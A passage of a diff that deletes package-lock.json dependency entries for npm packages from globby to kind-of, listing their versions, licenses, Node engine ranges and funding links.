- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/globby": {
- "version": "6.1.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "array-union": "^1.0.1",
- "glob": "^7.0.3",
- "object-assign": "^4.0.1",
- "pify": "^2.0.0",
- "pinkie-promise": "^2.0.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/gopd": {
- "version": "1.0.1",
- "license": "MIT",
- "dependencies": {
- "get-intrinsic": "^1.1.3"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/graceful-fs": {
- "version": "4.2.11",
- "license": "ISC"
- },
- "node_modules/has-bigints": {
- "version": "1.0.2",
- "dev": true,
- "license": "MIT",
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/has-flag": {
- "version": "3.0.0",
- "license": "MIT",
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/has-property-descriptors": {
- "version": "1.0.2",
- "license": "MIT",
- "dependencies": {
- "es-define-property": "^1.0.0"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/has-proto": {
- "version": "1.0.3",
- "license": "MIT",
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/has-symbols": {
- "version": "1.0.3",
- "license": "MIT",
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/has-tostringtag": {
- "version": "1.0.2",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "has-symbols": "^1.0.3"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/has-value": {
- "version": "1.0.0",
- "license": "MIT",
- "dependencies": {
- "get-value": "^2.0.6",
- "has-values": "^1.0.0",
- "isobject": "^3.0.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/has-values": {
- "version": "1.0.0",
- "license": "MIT",
- "dependencies": {
- "is-number": "^3.0.0",
- "kind-of": "^4.0.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/has-values/node_modules/is-number": {
- "version": "3.0.0",
- "license": "MIT",
- "dependencies": {
- "kind-of": "^3.0.2"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/has-values/node_modules/is-number/node_modules/kind-of": {
- "version": "3.2.2",
- "license": "MIT",
- "dependencies": {
- "is-buffer": "^1.1.5"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/has-values/node_modules/kind-of": {
- "version": "4.0.0",
- "license": "MIT",
- "dependencies": {
- "is-buffer": "^1.1.5"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/hash-base": {
- "version": "3.0.4",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "inherits": "^2.0.1",
- "safe-buffer": "^5.0.1"
- },
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/hash.js": {
- "version": "1.1.7",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "inherits": "^2.0.3",
- "minimalistic-assert": "^1.0.1"
- }
- },
- "node_modules/hasown": {
- "version": "2.0.2",
- "license": "MIT",
- "dependencies": {
- "function-bind": "^1.1.2"
- },
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/hmac-drbg": {
- "version": "1.0.1",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "hash.js": "^1.0.3",
- "minimalistic-assert": "^1.0.0",
- "minimalistic-crypto-utils": "^1.0.1"
- }
- },
- "node_modules/hoist-non-react-statics": {
- "version": "3.3.2",
- "license": "BSD-3-Clause",
- "peer": true,
- "dependencies": {
- "react-is": "^16.7.0"
- }
- },
- "node_modules/html-encoding-sniffer": {
- "version": "3.0.0",
- "license": "MIT",
- "dependencies": {
- "whatwg-encoding": "^2.0.0"
- },
- "engines": {
- "node": ">=12"
- }
- },
- "node_modules/http-proxy-agent": {
- "version": "5.0.0",
- "license": "MIT",
- "dependencies": {
- "@tootallnate/once": "2",
- "agent-base": "6",
- "debug": "4"
- },
- "engines": {
- "node": ">= 6"
- }
- },
- "node_modules/https-browserify": {
- "version": "1.0.0",
- "license": "MIT",
- "peer": true
- },
- "node_modules/https-proxy-agent": {
- "version": "5.0.1",
- "license": "MIT",
- "dependencies": {
- "agent-base": "6",
- "debug": "4"
- },
- "engines": {
- "node": ">= 6"
- }
- },
- "node_modules/human-signals": {
- "version": "5.0.0",
- "dev": true,
- "license": "Apache-2.0",
- "engines": {
- "node": ">=16.17.0"
- }
- },
- "node_modules/husky": {
- "version": "9.1.4",
- "dev": true,
- "license": "MIT",
- "bin": {
- "husky": "bin.js"
- },
- "engines": {
- "node": ">=18"
- },
- "funding": {
- "url": "https://github.com/sponsors/typicode"
- }
- },
- "node_modules/hyphenate-style-name": {
- "version": "1.1.0",
- "license": "BSD-3-Clause"
- },
- "node_modules/iconv-lite": {
- "version": "0.6.3",
- "license": "MIT",
- "dependencies": {
- "safer-buffer": ">= 2.1.2 < 3.0.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/ieee754": {
- "version": "1.2.1",
- "funding": [
- {
- "type": "github",
- "url": "https://github.com/sponsors/feross"
- },
- {
- "type": "patreon",
- "url": "https://www.patreon.com/feross"
- },
- {
- "type": "consulting",
- "url": "https://feross.org/support"
- }
- ],
- "license": "BSD-3-Clause",
- "peer": true
- },
- "node_modules/iferr": {
- "version": "0.1.5",
- "license": "MIT",
- "peer": true
- },
- "node_modules/ignore": {
- "version": "3.3.10",
- "license": "MIT"
- },
- "node_modules/imagemin": {
- "version": "6.1.0",
- "license": "MIT",
- "dependencies": {
- "file-type": "^10.7.0",
- "globby": "^8.0.1",
- "make-dir": "^1.0.0",
- "p-pipe": "^1.1.0",
- "pify": "^4.0.1",
- "replace-ext": "^1.0.0"
- },
- "engines": {
- "node": ">=6"
- }
- },
- "node_modules/imagemin/node_modules/@nodelib/fs.stat": {
- "version": "1.1.3",
- "license": "MIT",
- "engines": {
- "node": ">= 6"
- }
- },
- "node_modules/imagemin/node_modules/braces": {
- "version": "2.3.2",
- "license": "MIT",
- "dependencies": {
- "arr-flatten": "^1.1.0",
- "array-unique": "^0.3.2",
- "extend-shallow": "^2.0.1",
- "fill-range": "^4.0.0",
- "isobject": "^3.0.1",
- "repeat-element": "^1.1.2",
- "snapdragon": "^0.8.1",
- "snapdragon-node": "^2.0.1",
- "split-string": "^3.0.2",
- "to-regex": "^3.0.1"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/imagemin/node_modules/braces/node_modules/extend-shallow": {
- "version": "2.0.1",
- "license": "MIT",
- "dependencies": {
- "is-extendable": "^0.1.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/imagemin/node_modules/fast-glob": {
- "version": "2.2.7",
- "license": "MIT",
- "dependencies": {
- "@mrmlnc/readdir-enhanced": "^2.2.1",
- "@nodelib/fs.stat": "^1.1.2",
- "glob-parent": "^3.1.0",
- "is-glob": "^4.0.0",
- "merge2": "^1.2.3",
- "micromatch": "^3.1.10"
- },
- "engines": {
- "node": ">=4.0.0"
- }
- },
- "node_modules/imagemin/node_modules/fill-range": {
- "version": "4.0.0",
- "license": "MIT",
- "dependencies": {
- "extend-shallow": "^2.0.1",
- "is-number": "^3.0.0",
- "repeat-string": "^1.6.1",
- "to-regex-range": "^2.1.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/imagemin/node_modules/fill-range/node_modules/extend-shallow": {
- "version": "2.0.1",
- "license": "MIT",
- "dependencies": {
- "is-extendable": "^0.1.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/imagemin/node_modules/glob-parent": {
- "version": "3.1.0",
- "license": "ISC",
- "dependencies": {
- "is-glob": "^3.1.0",
- "path-dirname": "^1.0.0"
- }
- },
- "node_modules/imagemin/node_modules/glob-parent/node_modules/is-glob": {
- "version": "3.1.0",
- "license": "MIT",
- "dependencies": {
- "is-extglob": "^2.1.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/imagemin/node_modules/globby": {
- "version": "8.0.2",
- "license": "MIT",
- "dependencies": {
- "array-union": "^1.0.1",
- "dir-glob": "2.0.0",
- "fast-glob": "^2.0.2",
- "glob": "^7.1.2",
- "ignore": "^3.3.5",
- "pify": "^3.0.0",
- "slash": "^1.0.0"
- },
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/imagemin/node_modules/globby/node_modules/pify": {
- "version": "3.0.0",
- "license": "MIT",
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/imagemin/node_modules/is-extendable": {
- "version": "0.1.1",
- "license": "MIT",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/imagemin/node_modules/is-number": {
- "version": "3.0.0",
- "license": "MIT",
- "dependencies": {
- "kind-of": "^3.0.2"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/imagemin/node_modules/is-number/node_modules/kind-of": {
- "version": "3.2.2",
- "license": "MIT",
- "dependencies": {
- "is-buffer": "^1.1.5"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/imagemin/node_modules/make-dir": {
- "version": "1.3.0",
- "license": "MIT",
- "dependencies": {
- "pify": "^3.0.0"
- },
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/imagemin/node_modules/make-dir/node_modules/pify": {
- "version": "3.0.0",
- "license": "MIT",
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/imagemin/node_modules/micromatch": {
- "version": "3.1.10",
- "license": "MIT",
- "dependencies": {
- "arr-diff": "^4.0.0",
- "array-unique": "^0.3.2",
- "braces": "^2.3.1",
- "define-property": "^2.0.2",
- "extend-shallow": "^3.0.2",
- "extglob": "^2.0.4",
- "fragment-cache": "^0.2.1",
- "kind-of": "^6.0.2",
- "nanomatch": "^1.2.9",
- "object.pick": "^1.3.0",
- "regex-not": "^1.0.0",
- "snapdragon": "^0.8.1",
- "to-regex": "^3.0.2"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/imagemin/node_modules/pify": {
- "version": "4.0.1",
- "license": "MIT",
- "engines": {
- "node": ">=6"
- }
- },
- "node_modules/imagemin/node_modules/to-regex-range": {
- "version": "2.1.1",
- "license": "MIT",
- "dependencies": {
- "is-number": "^3.0.0",
- "repeat-string": "^1.6.1"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/img-loader": {
- "version": "3.0.2",
- "license": "MIT",
- "dependencies": {
- "loader-utils": "^1.1.0"
- },
- "peerDependencies": {
- "imagemin": "^5.0.0 || ^6.0.0 || ^7.0.0"
- }
- },
- "node_modules/import-fresh": {
- "version": "3.3.0",
- "license": "MIT",
- "dependencies": {
- "parent-module": "^1.0.0",
- "resolve-from": "^4.0.0"
- },
- "engines": {
- "node": ">=6"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/imurmurhash": {
- "version": "0.1.4",
- "license": "MIT",
- "engines": {
- "node": ">=0.8.19"
- }
- },
- "node_modules/infer-owner": {
- "version": "1.0.4",
- "license": "ISC",
- "peer": true
- },
- "node_modules/inflight": {
- "version": "1.0.6",
- "license": "ISC",
- "dependencies": {
- "once": "^1.3.0",
- "wrappy": "1"
- }
- },
- "node_modules/inherits": {
- "version": "2.0.4",
- "license": "ISC"
- },
- "node_modules/input-otp": {
- "version": "1.2.4",
- "resolved": "https://registry.npmjs.org/input-otp/-/input-otp-1.2.4.tgz",
- "integrity": "sha512-md6rhmD+zmMnUh5crQNSQxq3keBRYvE3odbr4Qb9g2NWzQv9azi+t1a3X4TBTbh98fsGHgEEJlzbe1q860uGCA==",
- "peerDependencies": {
- "react": "^16.8 || ^17.0 || ^18.0",
- "react-dom": "^16.8 || ^17.0 || ^18.0"
- }
- },
- "node_modules/internal-slot": {
- "version": "1.0.7",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "es-errors": "^1.3.0",
- "hasown": "^2.0.0",
- "side-channel": "^1.0.4"
- },
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/intl-messageformat": {
- "version": "10.5.14",
- "license": "BSD-3-Clause",
- "dependencies": {
- "@formatjs/ecma402-abstract": "2.0.0",
- "@formatjs/fast-memoize": "2.2.0",
- "@formatjs/icu-messageformat-parser": "2.7.8",
- "tslib": "^2.4.0"
- }
- },
- "node_modules/invariant": {
- "version": "2.2.4",
- "license": "MIT",
- "dependencies": {
- "loose-envify": "^1.0.0"
- }
- },
- "node_modules/is-accessor-descriptor": {
- "version": "1.0.1",
- "license": "MIT",
- "dependencies": {
- "hasown": "^2.0.0"
- },
- "engines": {
- "node": ">= 0.10"
- }
- },
- "node_modules/is-array-buffer": {
- "version": "3.0.4",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "call-bind": "^1.0.2",
- "get-intrinsic": "^1.2.1"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-arrayish": {
- "version": "0.2.1",
- "license": "MIT",
- "peer": true
- },
- "node_modules/is-async-function": {
- "version": "2.0.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "has-tostringtag": "^1.0.0"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-bigint": {
- "version": "1.0.4",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "has-bigints": "^1.0.1"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-binary-path": {
- "version": "2.1.0",
- "license": "MIT",
- "dependencies": {
- "binary-extensions": "^2.0.0"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/is-boolean-object": {
- "version": "1.1.2",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "call-bind": "^1.0.2",
- "has-tostringtag": "^1.0.0"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-buffer": {
- "version": "1.1.6",
- "license": "MIT"
- },
- "node_modules/is-callable": {
- "version": "1.2.7",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-core-module": {
- "version": "2.14.0",
- "license": "MIT",
- "dependencies": {
- "hasown": "^2.0.2"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-data-descriptor": {
- "version": "1.0.1",
- "license": "MIT",
- "dependencies": {
- "hasown": "^2.0.0"
- },
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/is-data-view": {
- "version": "1.0.1",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "is-typed-array": "^1.1.13"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-date-object": {
- "version": "1.0.5",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "has-tostringtag": "^1.0.0"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-descriptor": {
- "version": "1.0.3",
- "license": "MIT",
- "dependencies": {
- "is-accessor-descriptor": "^1.0.1",
- "is-data-descriptor": "^1.0.1"
- },
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/is-extendable": {
- "version": "1.0.1",
- "license": "MIT",
- "dependencies": {
- "is-plain-object": "^2.0.4"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/is-extglob": {
- "version": "2.1.1",
- "license": "MIT",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/is-finalizationregistry": {
- "version": "1.0.2",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "call-bind": "^1.0.2"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-fullwidth-code-point": {
- "version": "3.0.0",
- "license": "MIT",
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/is-generator-function": {
- "version": "1.0.10",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "has-tostringtag": "^1.0.0"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-glob": {
- "version": "4.0.3",
- "license": "MIT",
- "dependencies": {
- "is-extglob": "^2.1.1"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/is-map": {
- "version": "2.0.3",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-negative-zero": {
- "version": "2.0.3",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-number": {
- "version": "7.0.0",
- "license": "MIT",
- "engines": {
- "node": ">=0.12.0"
- }
- },
- "node_modules/is-number-object": {
- "version": "1.0.7",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "has-tostringtag": "^1.0.0"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-path-inside": {
- "version": "3.0.3",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/is-plain-object": {
- "version": "2.0.4",
- "license": "MIT",
- "dependencies": {
- "isobject": "^3.0.1"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/is-potential-custom-element-name": {
- "version": "1.0.1",
- "license": "MIT"
- },
- "node_modules/is-regex": {
- "version": "1.1.4",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "call-bind": "^1.0.2",
- "has-tostringtag": "^1.0.0"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-set": {
- "version": "2.0.3",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-shared-array-buffer": {
- "version": "1.0.3",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "call-bind": "^1.0.7"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-stream": {
- "version": "3.0.0",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": "^12.20.0 || ^14.13.1 || >=16.0.0"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/is-string": {
- "version": "1.0.7",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "has-tostringtag": "^1.0.0"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-symbol": {
- "version": "1.0.4",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "has-symbols": "^1.0.2"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-typed-array": {
- "version": "1.1.13",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "which-typed-array": "^1.1.14"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-weakmap": {
- "version": "2.0.2",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-weakref": {
- "version": "1.0.2",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "call-bind": "^1.0.2"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-weakset": {
- "version": "2.0.3",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "call-bind": "^1.0.7",
- "get-intrinsic": "^1.2.4"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-windows": {
- "version": "1.0.2",
- "license": "MIT",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/is-wsl": {
- "version": "1.1.0",
- "license": "MIT",
- "peer": true,
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/isarray": {
- "version": "1.0.0",
- "license": "MIT"
- },
- "node_modules/isexe": {
- "version": "2.0.0",
- "license": "ISC"
- },
- "node_modules/isobject": {
- "version": "3.0.1",
- "license": "MIT",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/iterator.prototype": {
- "version": "1.1.2",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "define-properties": "^1.2.1",
- "get-intrinsic": "^1.2.1",
- "has-symbols": "^1.0.3",
- "reflect.getprototypeof": "^1.0.4",
- "set-function-name": "^2.0.1"
- }
- },
- "node_modules/jackspeak": {
- "version": "3.4.0",
- "license": "BlueOak-1.0.0",
- "dependencies": {
- "@isaacs/cliui": "^8.0.2"
- },
- "engines": {
- "node": ">=14"
- },
- "funding": {
- "url": "https://github.com/sponsors/isaacs"
- },
- "optionalDependencies": {
- "@pkgjs/parseargs": "^0.11.0"
- }
- },
- "node_modules/jest-environment-jsdom": {
- "version": "29.7.0",
- "license": "MIT",
- "dependencies": {
- "@jest/environment": "^29.7.0",
- "@jest/fake-timers": "^29.7.0",
- "@jest/types": "^29.6.3",
- "@types/jsdom": "^20.0.0",
- "@types/node": "*",
- "jest-mock": "^29.7.0",
- "jest-util": "^29.7.0",
- "jsdom": "^20.0.0"
- },
- "engines": {
- "node": "^14.15.0 || ^16.10.0 || >=18.0.0"
- },
- "peerDependencies": {
- "canvas": "^2.5.0"
- },
- "peerDependenciesMeta": {
- "canvas": {
- "optional": true
- }
- }
- },
- "node_modules/jest-message-util": {
- "version": "29.7.0",
- "license": "MIT",
- "dependencies": {
- "@babel/code-frame": "^7.12.13",
- "@jest/types": "^29.6.3",
- "@types/stack-utils": "^2.0.0",
- "chalk": "^4.0.0",
- "graceful-fs": "^4.2.9",
- "micromatch": "^4.0.4",
- "pretty-format": "^29.7.0",
- "slash": "^3.0.0",
- "stack-utils": "^2.0.3"
- },
- "engines": {
- "node": "^14.15.0 || ^16.10.0 || >=18.0.0"
- }
- },
- "node_modules/jest-message-util/node_modules/ansi-styles": {
- "version": "4.3.0",
- "license": "MIT",
- "dependencies": {
- "color-convert": "^2.0.1"
- },
- "engines": {
- "node": ">=8"
- },
- "funding": {
- "url": "https://github.com/chalk/ansi-styles?sponsor=1"
- }
- },
- "node_modules/jest-message-util/node_modules/chalk": {
- "version": "4.1.2",
- "license": "MIT",
- "dependencies": {
- "ansi-styles": "^4.1.0",
- "supports-color": "^7.1.0"
- },
- "engines": {
- "node": ">=10"
- },
- "funding": {
- "url": "https://github.com/chalk/chalk?sponsor=1"
- }
- },
- "node_modules/jest-message-util/node_modules/color-convert": {
- "version": "2.0.1",
- "license": "MIT",
- "dependencies": {
- "color-name": "~1.1.4"
- },
- "engines": {
- "node": ">=7.0.0"
- }
- },
- "node_modules/jest-message-util/node_modules/color-name": {
- "version": "1.1.4",
- "license": "MIT"
- },
- "node_modules/jest-message-util/node_modules/has-flag": {
- "version": "4.0.0",
- "license": "MIT",
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/jest-message-util/node_modules/slash": {
- "version": "3.0.0",
- "license": "MIT",
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/jest-message-util/node_modules/supports-color": {
- "version": "7.2.0",
- "license": "MIT",
- "dependencies": {
- "has-flag": "^4.0.0"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/jest-mock": {
- "version": "29.7.0",
- "license": "MIT",
- "dependencies": {
- "@jest/types": "^29.6.3",
- "@types/node": "*",
- "jest-util": "^29.7.0"
- },
- "engines": {
- "node": "^14.15.0 || ^16.10.0 || >=18.0.0"
- }
- },
- "node_modules/jest-util": {
- "version": "29.7.0",
- "license": "MIT",
- "dependencies": {
- "@jest/types": "^29.6.3",
- "@types/node": "*",
- "chalk": "^4.0.0",
- "ci-info": "^3.2.0",
- "graceful-fs": "^4.2.9",
- "picomatch": "^2.2.3"
- },
- "engines": {
- "node": "^14.15.0 || ^16.10.0 || >=18.0.0"
- }
- },
- "node_modules/jest-util/node_modules/ansi-styles": {
- "version": "4.3.0",
- "license": "MIT",
- "dependencies": {
- "color-convert": "^2.0.1"
- },
- "engines": {
- "node": ">=8"
- },
- "funding": {
- "url": "https://github.com/chalk/ansi-styles?sponsor=1"
- }
- },
- "node_modules/jest-util/node_modules/chalk": {
- "version": "4.1.2",
- "license": "MIT",
- "dependencies": {
- "ansi-styles": "^4.1.0",
- "supports-color": "^7.1.0"
- },
- "engines": {
- "node": ">=10"
- },
- "funding": {
- "url": "https://github.com/chalk/chalk?sponsor=1"
- }
- },
- "node_modules/jest-util/node_modules/color-convert": {
- "version": "2.0.1",
- "license": "MIT",
- "dependencies": {
- "color-name": "~1.1.4"
- },
- "engines": {
- "node": ">=7.0.0"
- }
- },
- "node_modules/jest-util/node_modules/color-name": {
- "version": "1.1.4",
- "license": "MIT"
- },
- "node_modules/jest-util/node_modules/has-flag": {
- "version": "4.0.0",
- "license": "MIT",
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/jest-util/node_modules/supports-color": {
- "version": "7.2.0",
- "license": "MIT",
- "dependencies": {
- "has-flag": "^4.0.0"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/jiti": {
- "version": "1.21.6",
- "license": "MIT",
- "bin": {
- "jiti": "bin/jiti.js"
- }
- },
- "node_modules/jquery": {
- "version": "3.7.1",
- "license": "MIT",
- "peer": true
- },
- "node_modules/js-tokens": {
- "version": "4.0.0",
- "license": "MIT"
- },
- "node_modules/js-yaml": {
- "version": "4.1.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "argparse": "^2.0.1"
- },
- "bin": {
- "js-yaml": "bin/js-yaml.js"
- }
- },
- "node_modules/jsdom": {
- "version": "20.0.3",
- "license": "MIT",
- "dependencies": {
- "abab": "^2.0.6",
- "acorn": "^8.8.1",
- "acorn-globals": "^7.0.0",
- "cssom": "^0.5.0",
- "cssstyle": "^2.3.0",
- "data-urls": "^3.0.2",
- "decimal.js": "^10.4.2",
- "domexception": "^4.0.0",
- "escodegen": "^2.0.0",
- "form-data": "^4.0.0",
- "html-encoding-sniffer": "^3.0.0",
- "http-proxy-agent": "^5.0.0",
- "https-proxy-agent": "^5.0.1",
- "is-potential-custom-element-name": "^1.0.1",
- "nwsapi": "^2.2.2",
- "parse5": "^7.1.1",
- "saxes": "^6.0.0",
- "symbol-tree": "^3.2.4",
- "tough-cookie": "^4.1.2",
- "w3c-xmlserializer": "^4.0.0",
- "webidl-conversions": "^7.0.0",
- "whatwg-encoding": "^2.0.0",
- "whatwg-mimetype": "^3.0.0",
- "whatwg-url": "^11.0.0",
- "ws": "^8.11.0",
- "xml-name-validator": "^4.0.0"
- },
- "engines": {
- "node": ">=14"
- },
- "peerDependencies": {
- "canvas": "^2.5.0"
- },
- "peerDependenciesMeta": {
- "canvas": {
- "optional": true
- }
- }
- },
- "node_modules/jsdom/node_modules/acorn": {
- "version": "8.12.1",
- "license": "MIT",
- "bin": {
- "acorn": "bin/acorn"
- },
- "engines": {
- "node": ">=0.4.0"
- }
- },
- "node_modules/jsesc": {
- "version": "2.5.2",
- "license": "MIT",
- "bin": {
- "jsesc": "bin/jsesc"
- },
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/json-buffer": {
- "version": "3.0.1",
- "dev": true,
- "license": "MIT"
- },
- "node_modules/json-parse-better-errors": {
- "version": "1.0.2",
- "license": "MIT",
- "peer": true
- },
- "node_modules/json-parse-even-better-errors": {
- "version": "2.3.1",
- "license": "MIT",
- "peer": true
- },
- "node_modules/json-schema-traverse": {
- "version": "0.4.1",
- "license": "MIT"
- },
- "node_modules/json-stable-stringify-without-jsonify": {
- "version": "1.0.1",
- "dev": true,
- "license": "MIT"
- },
- "node_modules/json2mq": {
- "version": "0.2.0",
- "license": "MIT",
- "dependencies": {
- "string-convert": "^0.2.0"
- }
- },
- "node_modules/json5": {
- "version": "1.0.2",
- "license": "MIT",
- "dependencies": {
- "minimist": "^1.2.0"
- },
- "bin": {
- "json5": "lib/cli.js"
- }
- },
- "node_modules/jsonfile": {
- "version": "6.1.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "universalify": "^2.0.0"
- },
- "optionalDependencies": {
- "graceful-fs": "^4.1.6"
- }
- },
- "node_modules/jsx-ast-utils": {
- "version": "3.3.5",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "array-includes": "^3.1.6",
- "array.prototype.flat": "^1.3.1",
- "object.assign": "^4.1.4",
- "object.values": "^1.1.6"
- },
- "engines": {
- "node": ">=4.0"
- }
- },
- "node_modules/keyv": {
- "version": "4.5.4",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "json-buffer": "3.0.1"
- }
- },
- "node_modules/kind-of": {
- "version": "6.0.3",
- "license": "MIT",
- "engines": {
- "node": ">=0.10.0"
- }
- },
